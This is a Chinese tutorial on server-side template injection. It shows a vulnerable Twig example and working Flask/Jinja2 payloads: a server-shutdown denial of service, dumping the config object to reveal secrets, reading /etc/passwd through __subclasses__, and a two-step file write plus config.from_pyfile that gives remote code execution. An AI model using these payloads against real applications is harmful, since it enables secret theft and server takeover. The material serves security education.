服务端模板注入
1、模板注入原理
和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
<?php require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘; Twig_Autoloader::register(true); $twig = new Twig_Environment(new Twig_Loader_String()); $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值 echo $output;
使用 Twig 模版引擎渲染页面,其中模版含有 {{name}}
变量,其模版变量值来自于 GET 请求参数 $_GET["name"]
。
显然这段代码并没有什么问题,即使你想通过 name
参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,
但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:
但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:
<?php require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘; Twig_Autoloader::register(true); $twig = new Twig_Environment(new Twig_Loader_String()); $output = $twig->render("Hello {$_GET[‘name‘]}"); // 将用户输入作为模版内容的一部分 echo $output;
对比上面两种情况,简单的说服务端模板注入的形成终究还是因为服务端相信了用户的输出而造成的(Web安全真谛:永远不要相信用户的输入!)
详情请看rickgray的服务端模板注入攻击 (SSTI) 之浅析
2、SSTI对基于Flask/Jinja2开发堆栈的应用程序的攻击
如果开发者使用字符串格式化,来将用户输入动态地加入到模板字符串中,而不是通过render_template_string
函数将URL传递进入模板内容当中:
1 @app.errorhandler(404) 2 def page_not_found(e): 3 template = ‘‘‘{%% extends "layout.html" %%} 4 {%% block body %%} 5 <div class="center-content error"> 6 <h1>Oops! That page doesn‘t exist.</h1> 7 <h3>%s</h3> 8 </div> 9 {%% endblock %%} 10 ‘‘‘ % (request.url) 11 return render_template_string(template), 404
注入姿势:
1)、内省request
对象。request
对象是一个Flask模板全局变量,代表“当前请求对象(flask.request
)”。当你在视图中访问request对象时,它包含了你预期想看到的所有信息。在request
对象中有一个叫做environ
的对象。request.environ
是一个字典,其中包含和服务器环境相关的对象。该字典当中有一个shutdown_server
的方法,相应的key值为werkzeug.server.shutdown
。所以猜猜看我们向服务端注入{{ request.environ[‘werkzeug.server.shutdown‘]() }}
会发生什么?没错,会产生一个及其低级别的拒绝服务。当使用gunicorn运行应用程序时就不会存在这个方法,所以漏洞就有可能受到开发环境的限制。
2)、内省config
对象。config
对象是一个Flask模板全局变量,代表“当前配置对象(flask.config
)”。它是一个类似于字典的对象,其中包含了应用程序所有的配置值,包含若干独特方法的子类:from_envvar
,from_object
,from_pyfile
,以及root_path
。在大多数情况下,会包含数据库连接字符串,第三方服务凭据,SECRET_KEY
之类的敏感信息。
对于新加载的模块,from_object
方法会将那些变量名全是大写的属性添加到config
对象中。注入payload{{ config.items() }}
就可以轻松查看这些配置了。
3)、使用非常重要的内省组件: __mro__
和__subclasses__
属性。
__mro__
中的MRO代表方法解析顺序,并且在这里定义为,“是一个包含类的元组,而其中的类就是在方法解析的过程中在寻找父类时需要考虑的类”。__mro__
属性以包含类的元组来显示对象的继承关系,它的父类,父类的父类,一直向上到object
(如果是使用新式类的话)。它是每个对象的元类属性,但它却是一个隐藏属性,因为Python在进行内省时明确地将它从dir
的输出中移除了(见Objects/object.c的第1812行)。
__subclasses__
属性则在这里被定义为一个方法,“每个新式类保留对其直接子类的一个弱引用列表。此方法返回那些引用还存在的子类”。
** 使用__mro__
属性来访问对象的父类,使用__subclasses__
属性来访问对象的子类。
4)、{{ ‘‘.__class__.__mro__ }}
作为payload注入到SSTI漏洞点当中,
使用索引2来选择object类。现在我们到达了object类,我们使用__subclasses__
属性来dump应用程序中使用的所有类(找到file类的索引)
将{{ ‘‘.__class__.__mro__[2].__subclasses__() }}
注入到SSTI漏洞点当中
5)、任意文件读取POC:
file
类能够实例化文件对象,而且如果我们实例化了一个文件对象,那么我们就可用使用类似于read
的方法来读取相关内容。
找到file
类的索引,在我的环境中<type ‘file‘>
类的索引是40,我们就注入{{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd‘).read() }}
。
所以现在我们就证明了,通过Flask/Jinja2中的SSTI进行任意文件读取是有可能的。
6)、第一种代码执行POC:
file
类不仅去读文件,而且也可以向目标服务器的可写入路径中写文件,
然后我们再通过SSTI漏洞第二种代码执行poc调用from_pyfile
方法去compile
文件并执行其中的内容。这就是一个二次进攻。
将{{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/tmp/owned.cfg‘, ‘w‘).write(‘<malicious code here>‘‘) }}
注入到SSTI漏洞点,
然后在通过注入{{ config.from_pyfile(‘/tmp/owned.cfg‘) }}
调用编译过程。该代码在编译时将会被执行。这就实现了远程代码执行。
7)、第二种代码执行POC:充分地利用from_pyfile
方法。
将{{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/tmp/owned.cfg‘, ‘w‘).write(‘from subprocess import check_output\n\nRUNCMD = check_output\n‘) }}
注入到SSTI漏洞点,
注入{{ config.from_pyfile(‘/tmp/owned.cfg‘) }}
来将新的项目添加到config对象中,
将{{ config[‘RUNCMD‘](‘/usr/bin/id‘,shell=True) }}
注入到SSTI漏洞点。
详情请看Larry的Exploring SSTI in Flask/Jinja2